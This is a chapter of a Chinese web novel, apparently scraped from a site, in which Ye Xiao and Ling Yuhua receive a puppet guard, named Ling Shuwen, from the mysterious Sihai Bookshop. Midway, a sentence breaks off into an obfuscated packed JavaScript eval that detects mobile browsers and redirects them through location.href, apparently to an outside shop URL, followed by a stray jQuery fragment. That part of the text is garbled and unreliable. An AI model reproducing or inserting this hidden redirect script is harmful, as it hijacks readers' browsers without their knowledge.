四海书店。


    今日看店的还是悲伤书生。


    他坐在柜台后面，安静地看着书。


    哪怕有客人进来了，他都沉浸在书的世界里，没有任何反应……才怪！


    悲伤书生差点摔了手中的书。


    他不敢置信地看着走进来的叶潇三人。


    “啊、啊！叶姑娘？顾小公子？还有这位……”


    悲伤书生停顿了一下。


    仿佛有什么东西，飞快地浮现在他眼中。


    但不等这东西完整地在他眼睛里展现出来，他就说：“凌姑娘？你们三位怎么到我们这儿了？”


    凌雨华有点惊讶。


    叶潇已经见怪不怪了。


    她家师父能掐会算的，这四海书店同样神秘得很。


    以前可能是四海书店的人没怎么留意山上羽仙观，这会儿四海书店的三位神秘人物，看到他们来到这里，算出点啥，她都不会觉得奇怪。


    再者，凌雨华的命线，还没有彻底变得不可算。


    按照老道士的说法，必须得等到凌雨华更彻底地摆脱原定的命运，旁人才无法通过推算，知道和凌雨华有关的事情。


    悲伤书生在店面说话。


    很快，柜台后面的帘子又被人撩了起来。


    笑面童、哭面童都出现了。


    笑面童围着叶潇三人转圈。


    他脸上全是笑容。


    但叶潇可没从他的眼中看出一点笑意。


    哭面童更是不断叹息，只差直接哭出来。


    叶潇拿出了老道士给的葫芦吊坠。


    “三位，这是我师父让我带来你们店的。”


    既然老道士没说具体给谁，那她就说是给四海书店的呗！


    反正按照老道士当时候的说法，她也没算说错。


    笑面童勉强地笑着。


    “啊，我知道。叶姑娘，你们……”


    他笑着叹气。


    “你们师父可真知道给人找麻烦。”


    叶潇整个人都凑了过来。


    “那，掌柜，你要不要考虑一下，现在和我说说我师父的事？”


    老道士一边说，要将她当成将来的衣钵传人，一边说，她现在还不适合知道师门的更多秘辛。


    叶潇可好奇了！


    四海书店知道她师父的底细。


    她如果能在这时候问出个明细……


    可笑面童已经忙不迭地摆手。


    “别别别，叶姑娘，你别逗我们了。你师父的事啊，我们真不能和你说太多。


    “醉道人他老人家如果愿意说的，您到时候就能知道了。


    “他不说，我们能说的，只有他老人家道号醉道人这件事。


    “至于这个葫芦……”


    笑面童忽然严肃起来。


    “叶姑娘，请允许我郑重向您介绍我们四海书店。


    “我们四海书店主业卖书，副业卖各种您有需要的东西。


    “只要您能付得起钱，我们可以为您提供各种各样情报。


    “我们也可以成为您的贴身保镖，或者为了您杀人。


    “您师父这次给我们这个葫芦，就要以它为报酬，请我们保护您。


    “我和哭面童不方便明着跟您一起行动。但我们可以让悲伤书生跟着你们一起走。


    “在路上，您如果觉得有需要，可以随时为我们的书生取一个新的名字。”


    伴随着笑面童的声音，一个长相与柜台后面的悲伤书生一模一样，但是外形看起来更加呆板的人走了出来。


    这个人的眼睛木木的。


    笑面童伸手指向新走出来的“悲伤书生”。


    “他将会更贴身地保护你们。叶姑娘，您要给他取一个方便您称呼的名字吗？还是让凌姑娘来？”


    凌雨华已经看得目瞪口呆。


    哪怕她被引到羽仙观后，她已经见识了很多超出她想象的东西，她依旧被眼前看到的场景震惊到了。


    叶潇看看新走出来的悲伤书生。


    她越发确定，四海书店的这几个人都不是真人。


    “师妹，你给他取个名字？”


    新走出来的悲伤书生笨拙地挪动目光。


    他目不转睛地看着凌雨华。


    哪怕他身上依旧缺乏活人的质感，他此刻的注视依旧充满专注感。


    漂浮在凌雨华头顶的弹幕都变多了。


    【姐妹们，怎么办？我觉得他好像在看着我！】


    【我也觉得他在看着我！】


    【两个悲伤书生？这两个悲伤书生给人的观感还完全不一样啊！】


    【我错了，我不该天天骂你人工智障的。伟大的人工智能系统啊，请多一些这样的漂亮建模好吗？】


    【柜台后面的悲伤书生浑身上下都散发着悲伤的气息，我看一眼他，就觉得我的爱人不知道什么时候离开我了……我男朋友陪我看剧，忽然被我拼命抱住，他都还一脸懵了。我只是看到了悲伤书生，觉得看到了要和心爱的人彻底分离的结局……呜呜呜……】


    【前面的，你不是一个人！】


    【但看新出现的悲伤书生，感觉完全不一样！】


    【也有悲伤，可我觉得我能治愈他！】


    【大小姐快点给他起名字啊！两个悲伤书生我真的会混淆。】


    凌雨华当然看不到弹幕。


    但凌雨华能和弹幕中的观众一样，感觉到两个悲伤书生的区别。


    她愣愣地看了会儿悲伤书生。


    “凌书文。这个名字，可以吗？”


    【为什么会是这个名字？】


    叶潇其实有和弹幕一模一样的想法。


    凌雨华仿佛没有经过任何的思考，就脱口而出。


    她从多看到一个悲伤书生的震惊中回神，她就马上想到了这个名字。


    在这期间，她仿佛不用经过任何犹豫。


    悲伤书生呆板的眸底终于呈现出一丝生机。


    “好的，谨遵命令。我名为凌书文。”


    他欠身行礼。


    哭面童在旁边捶胸顿足。


    “我的伙伴啊，我的东西啊……这天底下的……”


    笑面童一把捂住了他的嘴巴，将他还没来得及说出来的其他话都堵了回去。


    凌雨华和顾小白都不大明白哭面童要说啥。


    但叶潇明白。


    哭面童不知道丢过了什么东西，一天到晚就喜欢喊自己不见了东西。


    毫无疑问，哭面童现在哭的，是同一件事。


    他觉得，这天底下怎么有那么多可恶的小偷，就要偷走他的东西呢？


    但……


    偏偏在凌雨华被新出现的悲伤书生命名之后，哭面童才在这里痛哭流涕吗？


    叶潇不着痕迹地皱了皱眉。


    “掌柜，我师妹已经给他取好名字了，那我们可以出发了吧？”


    笑面童点头。


    “凌书文会一直跟在你们身边。”


    凌书文也点头道：“是的，如果有需要，请随时吩咐我。”


    他的面容跟着变化。


    此刻的他，看起来更像是和凌雨华有亲属关系的人。


    “凌姑娘，如果不介意的话，我以后可以和你表兄妹相称吗？”


    淮州凌家知道凌雨华


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151786|193658||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的下落。


    凌雨华离开京城后，没有主动往京城送信，却没有忽略淮州凌家。


    凌雨华一度怀疑过，自己送去淮州的书信被人截住了。


    也许很多信，半路上就被人拿走了，或者偷看过，最后才送到淮州凌家手中。


    为此，邵祈才如此轻松地跟上了她的步伐。


    她刚离开京城，压根没给自己准备目的地，纯粹四处闲游。


    她下定决心，一定要远离京城的是是非非，随徐明泽和宋雨妍两个人折腾，她都不要帮两人推动感情发展，她才真正转向杏花镇。


    她到那时候才想，去喝娘亲生前格外惦记的杏花酒。


    喝过了之后，她和自己的往事一刀了断。


    邵祈如果真的一直追在她后面跑，邵祈抵达杏花镇的时间，不可能和她抵达的时间只差那么一点点。


    邵祈更像是知道她的目的地，再朝着她的目的地赶。


    她只在送往淮州的信上说过！


    凌雨华现在已经对邵祈等人的人品不抱多少希望。


    这些人多得是理由。


    她这次回京，确实得更注重保护个人安全。


    “那就麻烦表哥保护我们了。”


    凌雨华说着，对凌书文行了京城富家小姐常用的屈膝礼。


    凌书文的耳朵尖似乎有点红。


    他点点头。


    “表妹放心。”


    柜台后面的悲伤书生若有所思地看着凌雨华。


    但笑面童一手拉着哭面童，一手拉着他。


    “好了好了，我们也去准备吧。这次护送凌姑娘他们，还不知道会发生什么事呢。若无事，醉道人怎么舍得拿出这样的好东西来请我们？我们快点准备一下吧。可不能让人出了事，砸了我们四海书店的名声。”


    阳光照进四海书店里。


    叶潇还能隐约看到在光柱中飘舞的尘埃。


    笑面童等人不知道到底要商量什么。


    叶潇可以肯定，他们有意在这时候避开凌雨华。


    她微微一笑。


    “师妹，我们也走吧。”


    凌雨华指尖颤了一颤。


    “到杏花饭馆吗？”


    刚才已经和掌柜说了，要掌柜帮忙，留意着邵祈起来没。


    掌柜没细说邵祈昨晚做了什么事，为什么这会儿还在睡觉，但凌雨华猜到了。


    这等时常在京城中纵情声色犬马之间的公子哥，还能做什么事呢？


    来来去去都是那档子事。


    比起京城那些富家公子，徐明泽的确显得很不错了。


    徐明泽好歹洁身自爱。


    然而，现在的她，想起徐明泽，早已没有了最初的心动。


    洁身自爱？


    也许吧。


    但有的人自爱，真的只是出于自爱。


    还有的人自爱，只是因为还有更大的野心，因为他还需要自爱打上的标签，方便将自己卖出更高的价格。


    凌雨华眸光黯然。


    叶潇一手拉着她，一手拉着小白。


    “我们当然得去杏花饭馆，但不是现在。先去给小白找几身好衣裳吧。师妹，我没有去过京城，不知道京城现在的气候如何。你说得备上怎样的衣服，才适合在京城生活？”


    凌雨华笑起来。


    “路上还得花时间呢，到时候还要机会再挑选新衣服。不过你说得对，确实该要给小白师兄准备一些了。”


    三人有说有笑往前走。


    凌书文默默跟随。


    他的目光，重点落到了凌雨华身上。


    隐隐间，有光芒在他眸底跃动。